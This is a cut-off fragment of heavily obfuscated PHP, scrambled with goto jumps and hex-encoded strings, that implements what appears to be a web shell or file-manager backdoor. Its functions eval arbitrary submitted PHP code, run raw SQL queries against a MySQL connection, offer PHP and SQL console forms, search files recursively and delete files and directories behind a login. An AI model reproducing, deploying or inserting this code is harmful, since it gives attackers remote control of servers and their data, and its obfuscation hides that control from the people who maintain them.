R4yzw: goto rBooo; goto KkV55; QHh5x: goto Scnlq; goto juRa1; N1vai: if ($F0dTR != "\56" && $F0dTR != "\56\56") { goto k3YVw; } goto vusxw; Ybl4C: } goto a2Kla; QZgkt: goto j_wzX; goto iPplF; PjKSX: j_wzX: goto qtRY0; Ma9_X: goto saT0d; goto aUlqx; VkK5Q: P6fpG: goto ZUHoa; qHghD: if (!@is_dir($jTEOW)) { goto oG_7m; } goto Ma9_X; eA1Nd: bnoO1: goto r59CX; rZz_5: KaFyR: goto KFE0t; ZUHoa: goto B0N4h; goto ven8X; pW4Ap: CHOWF: goto lIyA2; TCBzV: goto bnoO1; goto PjKSX; o_gWe: return @unlink($jTEOW); goto u0rLX; yZXH6: cHH_n: goto SqSmV; iPplF: VEq51: goto qHghD; a2Kla: maXTt: goto Ewy9z; SqSmV: DsAtH: goto CjmhY; u0rLX: goto IyWMT; goto xzuyZ; Mc2r7: if ($bmXa1 && @is_dir($jTEOW)) { goto P6fpG; } goto fUsrX; qtRY0: return rmdir($jTEOW); goto WQ1Um; usDpx: KGWba: goto okDUw; fUsrX: goto DsAtH; goto VkK5Q; WQ1Um: goto yzH7G; goto eA1Nd; N962V: goto KaFyR; goto kzJ4f; kzJ4f: goto CHOWF; goto op3x2; lnQH_: $IPJhV = MX8mg($jTEOW, '', '', true); goto TCBzV; okDUw: goto cHH_n; goto pW4Ap; op3x2: HKWv8: goto usDpx; DvjcC: B0N4h: goto lnQH_; ven8X: TJJ_s: goto yy11o; Ewy9z: goto HKWv8; goto Wg5iH; Jer4b: ANK0b: goto o_gWe; CjmhY: goto VEq51; goto Jer4b; yy11o: } goto PC9NW; E0vR3: eI9Iw: goto V0i1L; f8_3E: goto oZQh2; goto vfKm6; PWyFZ: Zq_PM: goto TbarV; p6KMB: switch ($rF_A2[2]) { case 1: $sSFKS = "\x67\x69\x66"; goto BOEa4; case 2: $sSFKS = "\152\x70\145\147"; goto BOEa4; case 3: $sSFKS = "\x70\x6e\147"; goto BOEa4; case 6: $sSFKS = "\142\155\160"; goto BOEa4; default: die; } goto mx0CG; CQR0p: YO5V_: goto fvRrr; Cwx3h: $dBo10 = json_encode($_POST["\146\x6d\x5f\x6c\157\x67\151\156"]); goto f2Kpo; Gp1sn: pXZpM: goto Ex3sc; tyZXT: EwCrU: goto c6aka; wZuuI: function Uh2dT($J0pJ0) { goto uE4qv; oKE9d: goto OFzAU; goto d00LQ; eOjPx: goto yy6cN; goto ZMCC3; J4_N5: if (!($WpwKW === false)) { goto OjthO; } goto KmmZ2; XNJgu: goto EmGFx; goto damzW; reXEv: goto an2lP; goto LpsBC; ndi_c: goto gHNYX; goto KaVzc; n67_T: CYOD8: goto luZfY; E1Hd6: $IJh85->set_charset("\x75\164\x66\x38"); goto cK9IS; uxHAF: goto fjp5K; goto v2CPo; AN0sH: $IJh85->close(); goto kIPdY; ARb5x: return $IJh85->connect_error; goto e87PI; x4RAA: an2lP: goto Rt7CP; UXPyh: EmGFx: goto VXJE6; TeLYA: goto cMGqH; goto qlKRV; higgd: goto VaVLt; goto eOjPx; jS35m: goto TiI60; goto LGGVM; hYb5t: Nx3FM: goto bweW4; ecOYN: goto aPScV; goto Jc5Rm; jddhr: goto go_Mh; goto DJuAC; uX1GX: ob_end_clean(); goto TeLYA; Dq2Bk: DQgUn: goto kRfld; eY0Xr: qhWh_: goto uWoEg; xD3S8: ob_end_clean(); goto V42b6; Ae3Ia: goto oXShc; goto eY0Xr; KmmZ2: goto kB1Oh; goto wdupr; L916o: $VAQKF = empty($e2Yoq) ? '' : var_export($e2Yoq, true); goto l4T_k; okyJD: goto OB7Gx; goto v3W6h; fqsx_: goto FR1Yp; goto KYNwM; syC1R: $e2Yoq[] = $GSlrS; goto jddhr; cK9IS: goto CYOD8; goto dZBoM; zjXVe: $J0pJ0 = trim($J0pJ0); goto mcIpZ; v3W6h: gHNYX: goto WYVJf; smZ8V: SgSyo: goto FwGTF; bZuV3: goto aR2_i; goto XvKNH; DJuAC: tjo96: goto L916o; qAFuf: OiFD4: goto ARb5x; N9nd8: goto SmRm_; goto DoSiD; iSOMG: goto TPVRP; goto uxHAF; LjgGi: TPVRP: goto yGMdJ; VXJE6: VaVLt: goto reXEv; d00LQ: rNX4R: goto XNJgu; yGMdJ: goto G2IX4; goto qjORK; kVrYv: fjp5K: goto SvjBz; uE4qv: goto qhWh_; goto qAFuf; v2CPo: cIEbn: goto LjgGi; ZMCC3: aR2_i: goto uX1GX; V42b6: goto XkOlS; goto kVrYv; v2IJa: goto DQgUn; goto smZ8V; WfVyP: goto PcsCR; goto xRFDM; XvKNH: FR1Yp: goto iSOMG; kS91U: goto OiFD4; goto iMKMN; tl0B3: $IJh85 = dOXq1(); goto WfVyP; qlKRV: SmRm_: goto tl0B3; e87PI: goto y1B5a; goto IEcsN; mcIpZ: goto RH8zy; goto hYb5t; sswc5: return mysqli_error($IJh85); goto XGPqM; kRfld: goto sh4e1; goto Os9aO; uWoEg: global $C0tA4; goto okyJD; KYNwM: XkOlS: goto AN0sH; WYVJf: OFzAU: goto LP3OL; JXMQT: oQNc1: goto xD3S8; IEcsN: OB7Gx: goto zjXVe; KaVzc: EvxI4: goto dksVG; iMKMN: OW1xh: goto G6iEH; DoSiD: sh4e1: goto E1Hd6; damzW: yy6cN: goto WO_L_; dksVG: ob_end_clean(); goto kS91U; AusPJ: if ($IJh85->connect_error) { goto SgSyo; } goto v2IJa; G6iEH: return "\74\160\162\x65\x3e" . stripslashes($VAQKF) . "\74\57\x70\x72\x65\x3e"; goto fqsx_; t2FWs: oXShc: goto J4_N5; DvFuv: G2IX4: goto X_YoJ; kIPdY: goto OW1xh; goto x4RAA; LGGVM: y1B5a: goto Dq2Bk; H6_32: ob_start(); goto N9nd8; l4T_k: goto oQNc1; goto JXMQT; qjORK: cMGqH: goto sswc5; FwGTF: goto EvxI4; goto DvFuv; Jc5Rm: GASby: goto jS35m; Rt7CP: if ($GSlrS = mysqli_fetch_assoc($WpwKW)) { goto GASby; } goto ecOYN; XGPqM: goto cIEbn; goto n67_T; wdupr: OjthO: goto LvvZ2; LpsBC: go_Mh: goto higgd; WO_L_: aPScV: goto ndi_c; LvvZ2: goto Nx3FM; goto UXPyh; LP3OL: goto tjo96; goto t2FWs; bweW4: if (!empty($WpwKW)) { goto rNX4R; } goto oKE9d; luZfY: $WpwKW = mysqli_query($IJh85, $J0pJ0); goto Ae3Ia; xRFDM: RH8zy: goto H6_32; SvjBz: kB1Oh: goto bZuV3; Os9aO: TiI60: goto syC1R; dZBoM: PcsCR: goto AusPJ; X_YoJ: } goto AXVXZ; MDLdL: CBPbR: goto TD_3L; yEpuZ: function fljjT($ryLki) { goto zMn5f; Wr41e: ob_end_clean(); goto NvE4p; Vl3Ch: cOfGn: goto gJo_g; yMyay: pMPMp: goto mbSjy; dHXFT: AnhZJ: goto y59Wy; GTPed: Y8v8I: goto x1JRl; h8ebu: goto VZOi1; goto tRERp; NvE4p: goto vKc4O; goto xZoUm; tRERp: hmzye: goto Wr41e; x1JRl: return $E3nea; goto tH2HC; y59Wy: ini_set("\x64\151\163\160\154\x61\171\137\x65\x72\x72\x6f\162\x4c\x69\x73\164", "\61"); goto w7Kq4; IRt_q: ns9L0: goto mqk8z; nhf_t: goto pMPMp; goto IRt_q; UjHw3: ini_set("\144\x69\x73\160\154\141\171\x5f\145\x72\162\157\x72\x4c\x69\163\x74", $AeqSK); goto z5fMH; eLTwq: goto hmzye; goto lfz9k; GJb2D: $AeqSK = ini_get("\x64\151\x73\160\154\141\x79\137\x65\x72\x72\x6f\162\x4c\x69\x73\x74"); goto YlsVy; lfz9k: VZOi1: goto QYhpQ; w7Kq4: goto ns9L0; goto yMyay; xZoUm: vKc4O: goto UjHw3; YlsVy: goto AnhZJ; goto GTPed; tH2HC: goto cOfGn; goto dHXFT; Zk_vl: S6Y0f: goto GJb2D; mqk8z: ob_start(); goto h8ebu; z5fMH: goto Y8v8I; goto Vl3Ch; QYhpQ: eval(trim($ryLki)); goto nhf_t; mbSjy: $E3nea = ob_get_contents(); goto eLTwq; zMn5f: goto S6Y0f; goto Zk_vl; gJo_g: } goto zpsOP; XO8wk: goto rS1Ti; goto O7U4i; K3P9B: brt4v: goto j46ED; T8XLm: kFAhb: goto Wg5dA; HnYQu: HhyTS: goto QXFGp; i1IYx: uOFHW: goto Q3i0H; oXm_C: function gfFw9($jICw7) { goto ek3mE; VFpIK: return "\xd\12\15\12\x3c\164\141\142\x6c\145\x3e\xd\xa\15\12\74\x74\162\76\74\x74\150\40\x63\x6f\x6c\163\160\141\156\75\42\62\42\76" . strtoupper($jICw7) . "\40" . JNGij("\164\145\x6d\x70\154\141\164\x65\x73") . "\x20" . FMVoa($jICw7) . "\74\x2f\164\x68\76\x3c\57\x74\162\x3e\xd\xa\74\x66\x6f\x72\x6d\40\x6d\x65\164\150\x6f\x64\75\x22\x70\157\163\x74\x22\40\141\x63\x74\151\x6f\x6e\75\x22\42\x3e\xd\xa\15\xa\74\x69\156\160\x75\x74\40\x74\171\x70\145\x3d\x22\x68\151\x64\x64\145\x6e\x22\40\x76\141\154\165\145\75\x22" . $jICw7 . "\x22\40\x6e\x61\x6d\x65\x3d\42\x74\160\154\137\x65\144\x69\164\x65\x64\x22\x3e\xd\xa\74\x74\x72\x3e\x3c\164\x64\40\x63\154\x61\x73\163\x3d\42\x72\157\x77\61\42\x3e" . JngiJ("\116\141\x6d\x65") . "\74\x2f\164\144\76\74\x74\144\40\143\x6c\141\163\x73\75\42\x72\x6f\167\x32\x20\167\150\x6f\x6c\145\42\x3e" . jNgiJ("\x56\x61\154\165\x65") . "\x3c\x2f\164\144\x3e\74\57\164\x72\76\xd\xa" . $oseM3 . "\xd\12\74\x74\162\76\74\164\144\x20\x63\157\154\x73\160\141\x6e\x3d\x22\x32\42\40\143\154\x61\x73\x73\75\42\162\x6f\167\63\x22\x3e\x3c\x69\x6e\x70\165\x74\40\x6e\x61\x6d\x65\75\x22\x72\145\163\x22\40\x74\x79\x70\x65\x3d\42\x62\x75\164\164\157\156\42\40\x6f\x6e\103\x6c\151\x63\153\75\42\x64\x6f\x63\x75\155\145\x6e\x74\56\154\x6f\143\x61\x74\x69\157\156\56\150\x72\x65\146\40\75\x20\x27" . UgSt6() . "\77\146\155\137\163\x65\x74\164\x69\156\147\163\x3d\164\x72\165\x65\x27\x3b\42\40\166\x61\154\165\145\x3d\x22" . jngiJ("\122\x65\163\145\164") . "\42\x2f\x3e\x20\x3c\151\x6e\x70\165\164\40\x74\x79\x70\145\75\42\x73\165\142\155\x69\164\x22\x20\166\x61\x6c\x75\x65\x3d\x22" . jngiJ("\x53\141\166\x65") . "\42\x20\x3e\74\57\x74\x64\x3e\x3c\x2f\164\162\x3e\15\12\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\xd\xa\x3c\57\x66\x6f\x72\155\x3e\15\xa\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\xd\12\x3c\146\x6f\x72\x6d\40\155\x65\164\150\157\x64\x3d\42\160\x6f\x73\164\42\40\x61\x63\164\151\x6f\x6e\75\42\x22\x3e\xd\xa\74\x69\x6e\160\x75\164\x20\x74\171\160\145\75\x22\150\x69\x64\144\145\x6e\x22\x20\x76\x61\154\x75\145\75\x22" . $jICw7 . "\42\x20\156\141\x6d\x65\75\42\x74\160\x6c\137\x65\144\x69\x74\x65\x64\x22\x3e\15\12\xd\xa\x3c\x74\x72\76\x3c\x74\144\40\x63\x6c\141\x73\x73\75\x22\162\x6f\x77\x31\x22\76\74\x69\156\160\x75\x74\x20\x6e\141\x6d\x65\x3d\x22" . $jICw7 . "\137\x6e\x65\x77\137\156\x61\155\x65\x22\x20\x76\141\154\x75\145\x3d\x22\42\40\160\x6c\141\x63\x65\150\x6f\154\144\145\162\75\x22" . jNGiJ("\x4e\x65\167") . "\40" . jNGIj("\116\141\155\145") . "\42\76\74\x2f\164\x64\76\x3c\164\144\40\143\x6c\141\x73\x73\75\42\x72\157\x77\x32\40\167\150\x6f\x6c\145\42\x3e\x3c\x74\145\x78\x74\141\x72\x65\x61\x20\156\141\x6d\145\75\42" . $jICw7 . "\137\x6e\x65\x77\137\x76\x61\x6c\x75\145\x22\40\40\143\x6f\154\x73\75\42\65\65\42\x20\162\x6f\x77\x73\75\42\65\42\40\143\154\141\163\x73\x3d\42\164\x65\170\164\x61\x72\x65\141\x5f\151\x6e\x70\x75\x74\42\x20\x70\x6c\141\143\145\x68\x6f\154\144\x65\162\75\42" . JNGij("\x4e\145\x77") . "\x20" . JngiJ("\x56\141\154\165\x65") . "\42\76\74\57\x74\x65\170\164\141\x72\145\x61\x3e\74\57\x74\144\76\74\57\x74\162\76\15\xa\15\12\74\x74\162\x3e\x3c\x74\x64\x20\x63\157\154\163\x70\x61\156\x3d\x22\x32\42\40\143\154\141\163\x73\x3d\x22\x72\157\167\63\42\76\74\151\156\x70\165\164\40\x74\171\160\x65\x3d\x22\x73\x75\x62\155\x69\164\x22\x20\166\x61\154\x75\145\x3d\42" . jNGIJ("\101\144\x64") . "\x22\x20\x3e\x3c\x2f\164\x64\76\74\x2f\x74\162\76\15\xa\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\15\xa\74\x2f\146\157\x72\x6d\76\15\12\xd\12\74\x2f\x74\141\142\x6c\x65\76\xd\xa\15\xa"; goto PUumZ; OxVA1: goto rpfAO; goto q5GL4; p1Lz3: l1k4p: goto laKuh; XS3Mp: $uMsiS = json_decode(${$jICw7 . "\x5f\164\x65\155\160\154\141\164\145\163"}, true); goto Wz7Oj; YSPii: goto rRhQK; goto AcO0T; bn9zg: global ${$jICw7 . "\x5f\164\x65\x6d\160\154\x61\x74\145\163"}; goto qKHQA; O9tIl: goto EFcRE; goto k95ug; vMBGN: d8ze6: goto OxVA1; LpUbM: oIWPp: goto O9tIl; SBU1d: foreach ($uMsiS as $pDf00 => $Iig9p) { goto Zrbbl; Zrbbl: $oseM3 .= "\x3c\x74\162\76\74\x74\x64\40\x63\154\141\x73\163\75\42\162\x6f\x77\x31\x22\x3e\x3c\151\x6e\x70\165\x74\x20\x6e\141\x6d\145\x3d\x22" . $jICw7 . "\137\x6e\141\x6d\145\x5b\x5d\42\x20\x76\x61\154\x75\x65\x3d\42" . $pDf00 . "\42\76\x3c\x2f\x74\144\76\74\164\144\40\x63\x6c\141\163\163\75\42\162\157\167\x32\x20\167\150\157\x6c\x65\42\76\x3c\x74\x65\x78\164\141\x72\x65\141\40\x6e\141\155\x65\x3d\x22" . $jICw7 . "\137\166\x61\x6c\165\x65\x5b\135\x22\x20\x20\143\157\154\x73\75\42\65\65\42\40\162\157\167\x73\75\x22\65\42\x20\x63\154\141\163\x73\75\42\x74\145\170\164\x61\x72\145\141\x5f\x69\156\x70\165\164\42\76" . $Iig9p . "\x3c\x2f\x74\x65\170\x74\x61\x72\145\141\x3e\40\74\x69\156\160\165\x74\40\x6e\x61\x6d\x65\75\x22\144\145\154\137" . rand() . "\42\x20\x74\x79\x70\145\75\x22\x62\x75\164\x74\x6f\x6e\42\40\x6f\x6e\x43\154\151\143\153\75\42\x74\150\151\x73\x2e\x70\141\x72\x65\156\x74\116\x6f\x64\x65\56\160\x61\x72\x65\x6e\x74\116\x6f\x64\145\x2e\x72\145\155\x6f\x76\145\50\x29\x3b\42\40\x76\x61\154\165\x65\x3d\42" . jngIJ("\104\x65\x6c\145\x74\145") . "\42\x2f\x3e\74\x2f\x74\144\76\x3c\x2f\164\x72\x3e"; goto wIfYM; wIfYM: P6cMC: goto j1XaS; j1XaS: O0PQF: goto YkHJw; YkHJw: } goto vMBGN; ek3mE: goto OkBGZ; goto egpKM; NIqGb: rRhQK: goto SBU1d; q5GL4: rpfAO: goto LpUbM; AcO0T: MsUIk: goto sLlDx; aaB3G: EFcRE: goto VFpIK; k95ug: QLY3A: goto XS3Mp; PUumZ: goto MsUIk; goto NIqGb; egpKM: OkBGZ: goto bn9zg; qKHQA: goto QLY3A; goto aaB3G; laKuh: $oseM3 = ''; goto YSPii; Wz7Oj: goto l1k4p; goto p1Lz3; sLlDx: } goto tfoyj; OPfz7: R8NzN: goto aa95c; I5VFV: mpvYt: goto wdwnT; oOVec: $VDDS6 = array(); goto cGbHI; moDFQ: if (!empty($C0tA4["\x72\x65\x73\164\157\162\x65\137\x74\151\x6d\x65"])) { goto T46ME; } goto ydEdK; uwU_6: jPeRN: goto CvAtJ; z0dzy: goto IPvXj; goto OZsaP; VBLVF: goto pgRVs; goto dpoSa; Ur3UD: kBptj: goto qeji7; OZynt: W1N3Z: goto FJ6qJ; ZF2s7: $O10i3 .= jnGIj("\x45\162\x72\157\162\x20\157\143\143\x75\x72\x72\145\144"); goto ADwvL; StjG7: goto NGmHg; goto XZC5h; gslfW: C0hd_: goto GXGLx; g79A9: $uRU9l = explode("\56", basename($GjkCm)); goto SDIsi; fDY7D: goto Ws15T; goto MDLdL; t7w15: HfO69: goto uBOSe; rX2Fb: unset($uRU9l[0]); goto zoLOE; DOV0d: Zlgd6: goto Ocuph; Xs5KN: a8rub: goto wyp2r; mqs2d: goto p7rnP; goto VDK2J; hvxNP: L5rTF: goto x2NyU; UKezr: goto sj933; goto X6xvS; U9pdw: goto e7aI4; goto jbDHN; wnuLj: goto iIMCD; goto mthVB; mhevn: if (!empty($C0tA4["\x66\x6d\137\x72\x65\163\164\157\x72\145\137\x74\x69\x6d\x65"])) { goto fNuGu; } goto kl2ym; IwUQL: echo JNGiJ("\x53\x65\154\x65\143\164\x20\x74\x68\x65\x20\x66\151\x6c\x65"); goto i53yS; vq34z: goto ttYun; goto qkI7R; gi4gl: goto oKTpD; goto nbTmz; LYsXu: goto Kqd5E; goto nFs2Y; itfob: Lu8yU: goto wosyc; AeQKA: $lpHQQ = file_get_contents(__FILE__); goto RNdwy; lTEIJ: Ba0MF: goto WuAfx; WBp6t: QKRz_: goto Cc5Gf; vbtwI: goto IO15N; goto chu_z; CSe2H: goto fNOve; goto Vb2vG; L233h: huXhW: goto TZ0bQ; LWbf9: MYMUU: goto cD9Xq; zb0s9: goto yer94; goto rQHG9; vYoAO: goto hwnD9; goto a6Ocx; wCQaA: goto vqd8P; goto rWl_Q; JbT4z: goto arkGV; goto gUyjV; P0AbU: b_fct: goto JhKWO; hsW1M: goto jLZXN; goto levhf; FDrfS: goto iXygK; goto orQSp; EthCK: goto EMRRO; goto JKX2I; dLB9K: goto YFZEA; goto XcLnr; Zkd7d: fukTJ: goto k3Myb; xrTUB: goto k15sK; goto KNhFe; wlrh_: goto wEkDG; goto MAb3e; cHLI0: goto tmsps; goto b6SOL; ydEdK: goto ggbd4; goto ty1pt; LZfke: R7P6U: goto wRj44; HidR7: imxC3: goto U5rS1; J6IV5: goto FIZ_t; goto YTYmh; ctr0v: goto HtV6o; goto KHR3s; l4bBy: YkDES: goto e9UvO; ESGgM: Ssp2i: goto g1r3r; ADwvL: goto TrrMU; goto JqMHR; maizC: goto ujRV_; goto iGkg_; pFSWO: goto doq5r; goto bbFgi; vld6B: xFWTl: goto RL2Nt; JFl7p: bVtRn: goto zGDd_; G0vmY: HYcTj: goto nbhQA; AM5Mj: goto YIO75; goto HarPv; K2B2e: $RrtHJ = $Ga3rH . "\46\145\x64\x69\164\75" . $_REQUEST["\x65\144\151\x74"] . "\x26\x70\x61\164\150\75" . $VLMCB; goto X9Lxk; bAofe: lpbtn: goto S7FDk; fsoOP: EqSUI: goto yX187; RxjrK: goto MteZZ; goto c8CPQ; EyDny: echo $Ga3rH; goto Hup5k; JiT3Q: goto RGTE5; goto t4xIM; iklBs: echo "\x22\x3e\15\xa\11\11\x20\40\40\40\x20\x20\x20\40\x20\11\11\40\x20\40\x20\x20\x20\40\x20\x20\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\40\40\15\12\11\x9\x20\x20\x20\x20\40\40\40\40\x20\x9\74\57\x74\x64\x3e\15\xa\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\15\12\x9\x9\40\40\40\40\40\x20\x20\40\x20\11\74\164\x64\76\15\xa\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\xd\xa\x9\x9\x20\x20\40\x20\x20\40\x20\40\40\11"; goto OKZ5b; pqzUr: goto pjI88; goto AIWAK; qMCrF: goto JZVbG; goto kOu5R; WIirC: kkXvp($jTEOW); goto nDOrR; XtDkl: goto mVndP; goto G4B6u; exMTX: $xY82V = KzHSw($_POST["\160\141\164\150"], $_POST["\155\141\x73\x6b"], $_POST["\163\x65\x61\x72\143\150\137\x72\x65\143\165\x72\x73\x69\166\x65"]); goto wKQxn; OP9YY: goto OF35F; goto qGYGZ; bjHaQ: function kzHSw($zS4x_, $BPvBy, $E3nea) { goto xhJfD; X_RT1: goto KX8cl; goto sXgxj; IjNMk: goto M85Vb; goto z13Gx; Zov3V: $AQIt3 = array_merge($AQIt3, KZHSw($VLMCB, $BPvBy, $E3nea)); goto ISTPJ; jStU7: goto M0Xmr; goto exbiK; trMrv: $AQIt3 = array(); goto stvrr; KYTMw: rJqx5: goto Zov3V; cUEbl: wyyGs: goto tVSeR; jeYsH: goto VnBOz; goto LMZ0q; bvTzU: goto J96rz; goto Zm53l; lQmT9: goto Aas7P; goto y75zy; UZyrE: goto Chymn; goto YpT_X; Zm53l: DbGZo: goto TY4jV; cI591: if ($jXFp0 != "\x2e" && $jXFp0 != "\56\x2e") { goto gaSbo; } goto f74I5; cEgzK: nHOIg: goto jeYsH; YJm6h: goto DeSEa; goto cUEbl; t1sqk: JUzrA: goto QwsJj; N1l01: goto JUzrA; goto mv8KB; oNv9Q: goto XLM1s; goto EIUDv; EIUDv: goto mQX09; goto FsCeE; lpxg2: gaSbo: goto N1l01; LyoRL: closedir($wiK9i); goto k52r5; OqdJb: ukVrH: goto X4pzn; z3Xto: goto mL9HC; goto t1sqk; hb8_b: goto lhEJv; goto qsOkl; NDblP: qcupk: goto trMrv; G5Yau: goto xMDCh; goto iQrpq; J7dyw: xU5id: goto X_RT1; MwLhB: Aas7P: goto puTCn; G8b24: RpGKR: goto lQmT9; iQrpq: KmNjq: goto YJm6h; VKGHE: M0Xmr: goto G8b24; xN1L0: goto xg9bf; goto Bop9C; SVky9: goto wyyGs; goto VKGHE; QwsJj: $VLMCB = $zS4x_ . "\57" . $jXFp0; goto hb8_b; StIPP: mRziX: goto aT3S4; TY4jV: if (strpos($vBX_G, $E3nea) !== false) { goto KmNjq; } goto G5Yau; X4pzn: return $AQIt3; goto boDHS; E714y: if (false !== ($jXFp0 = readdir($wiK9i))) { goto dgUlP; } goto IjNMk; CMd1S: goto DbGZo; goto XpwcO; ZUQ4s: XLM1s: goto jStU7; Q6_Lv: irk2z: goto Fs50o; qsOkl: lhEJv: goto hH3SV; tVSeR: M85Vb: goto VscPU; puTCn: goto nHOIg; goto SVky9; Lbjvv: coK1f: goto cI591; y75zy: KX8cl: goto qnf3r; RhlfN: if (fnmatch($BPvBy, $jXFp0)) { goto xU5id; } goto SU1BE; z13Gx: dgUlP: goto Ol3HD; sXgxj: J96rz: goto UIY0x; Sm_pU: Vdcrt: goto RhlfN; AKOn3: goto mRziX; goto Sm_pU; VscPU: goto sNe1Z; goto fXiX0; SU1BE: goto Tf0Y4; goto J7dyw; hH3SV: if (!is_dir($VLMCB)) { goto ycwTK; } goto UZyrE; exbiK: TGtyZ: goto ysb5H; stvrr: goto TGtyZ; goto OqdJb; R1KoG: xg9bf: goto yO_gF; XpwcO: mL9HC: goto cEgzK; Ol3HD: goto coK1f; goto NDblP; k52r5: goto HYwdQ; goto MwLhB; YpT_X: ycwTK: goto rBGk5; LfQdQ: goto CFNhs; goto LVy_F; ysb5H: if ($wiK9i = opendir($zS4x_)) { goto TuYuU; } goto xN1L0; aT3S4: xMDCh: goto bvTzU; Bop9C: TuYuU: goto z3Xto; rBGk5: goto Vdcrt; goto Q6_Lv; kMdcm: HYwdQ: goto R1KoG; FsCeE: DeSEa: goto nDqWu; xhJfD: goto qcupk; goto kMdcm; fXiX0: CFNhs: goto oNv9Q; XVkYZ: mQX09: goto UoqPA; UIY0x: Tf0Y4: goto LfQdQ; boDHS: goto irk2z; goto StIPP; f74I5: goto RpGKR; goto lpxg2; yO_gF: goto ukVrH; goto KYTMw; ISTPJ: goto I27sW; goto XVkYZ; LMZ0q: VnBOz: goto E714y; UoqPA: Chymn: goto YS0kB; nDqWu: $AQIt3[] = str_replace("\57\57", "\57", $VLMCB); goto AKOn3; LVy_F: I27sW: goto ZUQ4s; mv8KB: sNe1Z: goto LyoRL; YS0kB: goto rJqx5; goto Lbjvv; qnf3r: $vBX_G = file_get_contents($VLMCB); goto CMd1S; Fs50o: } goto X1HRS; jsPBD: goto L_qsS; goto apHYU; BjByN: gZM16: goto pgLHv; n_Cca: nGGHC: goto a_YLf; OSvK5: goto ZeFzX; goto m04Co; rtu1W: echo JNGiJ("\x42\141\143\153"); goto s8bwr; i1_54: goto yZ7ib; goto iARcz; ihIUH: BFBY4: goto o6JmJ; gHZz9: goto vf9l0; goto ihIUH; qMJgF: u288r: goto MNZMU; uee7m: qcV5P: goto AhGC6; DmMia: if (is_file($wdJBd . "\56\147\x7a")) { goto zRC4J; } goto UwNWV; isSqw: goto d2Of4; goto t4CG3; plLvn: vEeCs: goto qB977; G1zgT: kEFAH: goto U9Eyy; AwVkH: goto ZLOqk; goto YOQWu; aCBUM: echo $Ga3rH; goto QAC5V; O_giI: goto omt4J; goto jhXbv; tGAfL: echo "\74\150\x33\x3e" . strtoupper($p9djE) . "\x20" . JngIJ("\x52\145\x73\165\154\x74") . "\x3c\x2f\150\x33\76\74\160\162\145\76" . $lqsgN($Y2HeO) . "\74\x2f\x70\162\x65\x3e"; goto rPJvl; PxOoo: goto uYEsm; goto fCQgJ; l3cHB: OgK3g: goto AaFmr; putDM: if (!empty($_REQUEST["\163\x61\x76\x65"])) { goto Up31x; } goto SZgev; XP3qp: echo "\40\x3c\141\40\x68\x72\145\x66\x3d\x22"; goto VcoyU; xZ0YZ: MGVfC: goto VCrgJ; t5Nv3: goto irEWb; goto Jn6ob; YXXvv: goto R7P6U; goto xOxAU; eNv3i: $nguOO = $Ga3rH . "\x26\160\x61\164\150\75" . $VLMCB; goto ce3sH; Zlnif: h7jsP: goto tYLzH; vTzeH: natsort($wQzW3); goto fjZFb; nNpT0: function fmVoa($rF7eR) { goto ToLrG; P7_gB: goto eSrbu; goto BEUeg; hTwB6: goto SXLGo; goto TQJCY; BEUeg: eSrbu: goto CUQ0h; F6sfM: return $U_aEc; goto fk95_; TQJCY: tjjhu: goto oR9HM; CUQ0h: $U_aEc = !empty($C0tA4["\145\156\x61\142\154\x65\x5f" . $rF7eR . "\x5f\x63\157\x6e\x73\x6f\x6c\145"]) ? "\xd\12\xd\12\x9\x9\x20\x20\40\x20\40\40\x20\40\40\11\11\40\x20\40\40\40\40\40\x20\x20\74\x66\157\162\155\x20\x20\x6d\145\x74\150\x6f\144\x3d\42\x70\x6f\x73\164\42\40\x61\143\x74\x69\157\x6e\75\42" . UGsT6() . "\x22\x20\163\x74\171\154\145\x3d\42\x64\x69\x73\160\x6c\x61\171\72\x69\156\x6c\151\x6e\145\42\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\15\xa\x9\11\40\x20\40\40\40\x20\40\40\40\x9\11\x20\x20\x20\40\40\x20\40\40\x20\x3c\x69\156\160\165\164\40\x74\171\160\x65\75\42\163\165\x62\155\151\x74\42\40\x6e\141\x6d\145\x3d\42" . $rF7eR . "\162\x75\x6e\x22\x20\166\x61\154\165\x65\75\x22" . strtoupper($rF7eR) . "\x20" . JNGij("\103\x6f\x6e\163\157\x6c\145") . "\42\x3e\xd\12\15\12\x9\11\40\x20\40\40\40\40\40\40\40\11\11\x20\x20\x20\x20\x20\x20\40\40\x20\x3c\57\146\157\x72\x6d\76\15\xa\xd\xa" : ''; goto hTwB6; fk95_: goto tjjhu; goto TEIDr; ToLrG: goto m5kdi; goto kWFwJ; kWFwJ: SXLGo: goto F6sfM; TEIDr: m5kdi: goto VyUN3; VyUN3: global $C0tA4; goto P7_gB; oR9HM: } goto HVb_w; ex_IE: dx1d3: goto TS4hO; Qa2n3: KDX58: goto fg_p3; V4PvH: goto AfnHQ; goto t0C6l; NYHV0: cucHT: goto SpZR3; lyiTQ: goto ZeFzX; goto ZjOwQ; nFI3B: goto Mweiu; goto f8Fqr; fIV73: TmFx7: goto IWtG0; ALiNl: YIO75: goto t78SX; e9UvO: echo "\40\74\x2f\164\x68\x3e\15\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\15\12\40\40\40\x20\x3c\x74\150\x20\163\x74\171\154\145\75\42\167\150\151\x74\145\x2d\163\x70\141\x63\x65\x3a\x6e\x6f\167\162\x61\160\42\x3e\40"; goto n_xRC; g0WYH: goto akohN; goto N3Vi0; UGEWv: z7V4L: goto fhehq; C54b5: goto p43zs; goto Mg2lz; PoOBg: w5z0L: goto QXeiS; 